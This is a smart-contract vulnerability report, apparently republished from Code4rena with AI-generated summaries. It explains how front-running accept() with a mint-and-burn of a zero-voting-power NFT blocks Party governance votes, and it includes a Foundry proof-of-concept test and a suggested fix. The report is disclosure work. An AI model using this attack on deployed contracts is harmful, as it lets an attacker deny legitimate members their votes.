Burning an NFT can be used to block voting
A new check in the accept() function reverts if an NFT was burned in the same block, intended to stop a voting-power manipulation. An attacker can front-run a legitimate accept() call by minting a zero-voting-power NFT and burning it, causing the victim's transaction to revert and blocking the vote.
adriro Follow with hansfriese, d3e4 and 1 other
Originally disclosed on Code4rena
Submitted by adriro, also found by hansfriese, d3e4, and gjaldon
A new validation in the accept() function has been introduced in order to mitigate a potential attack to the party governance.
By burning an NFT, a party member can reduce the total voting power of the party just before creating a proposal and voting for it. Since the snapshot used to vote is previous to this action, this means the user can still use their burned voting power while voting in a proposal with a reduced total voting power. This is stated in the comment attached to the new validation:
https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernance.sol#L589-L598
589: // Prevent voting in the same block as the last burn timestamp.
590: // This is to prevent an exploit where a member can burn their card to
591: // reduce the total voting power of the party, then propose and vote in
592: // the same block since `getVotingPowerAt()` uses `values.proposedTime - 1`.
593: // This would allow them to use the voting power snapshot just before
594: // their card was burned to vote, potentially passing a proposal that
595: // would have otherwise not passed.
596: if (lastBurnTimestamp == block.timestamp) {
597: revert CannotRageQuitAndAcceptError();
598: }
This change can be abused by a bad actor in order to DoS the voting of a proposal. The call to accept() can be front-runned with a call to burn(), which would trigger the revert in the original transaction.
While this is technically possible, it is not likely that a party member would burn their NFT just to DoS a voting for a single block. However, it might be possible to mint an NFT with zero voting power (in order to keep the voting power unaltered) and burn it in order to block calls to accept().
Proof of concept
The following test reproduces the issue. Bob’s transaction to accept() is front-runned and blocked by minting a zero voting power NFT and immediately burning it.
Note: the snippet shows only the relevant code for the test. Full test file can be found here.
function test_PartyGovernanceNFT_BlockVoting() external {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address authority = makeAddr("authority");
(Party party, , ) = partyAdmin.createParty(
partyImpl,
PartyAdmin.PartyCreationMinimalOptions({
host1: address(this),
host2: address(0),
passThresholdBps: 5100,
totalVotingPower: 100,
preciousTokenAddress: address(toadz),
preciousTokenId: 1,
rageQuitTimestamp: 0,
feeBps: 0,
feeRecipient: payable(0)
})
);
vm.prank(address(party));
party.addAuthority(authority);
// Mint voting power to alice and bob
vm.startPrank(address(partyAdmin));
uint256 aliceToken = party.mint(alice, 50, alice);
uint256 bobTokenId = party.mint(bob, 50, bob);
vm.stopPrank();
// Alice creates proposal
vm.startPrank(alice);
uint256 proposalId = party.propose(
PartyGovernance.Proposal({
maxExecutableTime: uint40(type(uint40).max),
cancelDelay: uint40(1 days),
proposalData: abi.encode(0)
}),
0
);
vm.stopPrank();
// Bob is going to vote for proposal but is front-runned by authority to block voting
// Authority mints a 0 voting token and burns it
vm.prank(authority);
uint256 dummyTokenId = party.mint(authority, 0, authority);
vm.prank(authority);
party.burn(dummyTokenId);
// Bob transaction reverts
vm.expectRevert(PartyGovernance.CannotRageQuitAndAcceptError.selector);
vm.prank(bob);
party.accept(proposalId, 0);
}
Recommendation
It is difficult to provide a solution without changing how voting works at the general level in the governance contracts. The issue can be partially mitigated by moving the check to the proposal() function. This would prevent the DoS on the accept() function while still mitigating the original issue, but would allow the same attack to be performed while members try to create proposals.
Assessed type
DoS
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the mitigation check compares the last burn timestamp to the current block timestamp, so any burn in the same block blocks all accept() calls.
Impact
A party member can block any accept() call for a block by burning a zero-voting-power NFT, causing a denial of service on voting.
What the attacker needed
A party member with minting rights; ability to front-run a transaction
The fix
The check should be moved to the propose() function to prevent the DoS on accept() while still mitigating the original issue, though this would allow the same attack on proposal creation.
How it was found
- Alice creates a proposal.
- Bob attempts to vote by calling accept().
- Before Bob's transaction, the authority mints a zero-voting-power NFT.
- The authority immediately burns that NFT.
- Bob's accept() call reverts with CannotRageQuitAndAcceptError.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When someone tries to vote on a proposal, the system checks if any voting token was burned in the same moment. An attacker can quickly burn a worthless token just before the vote, making the system reject the vote. This stops the vote from happening, even though the attacker gains nothing directly.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.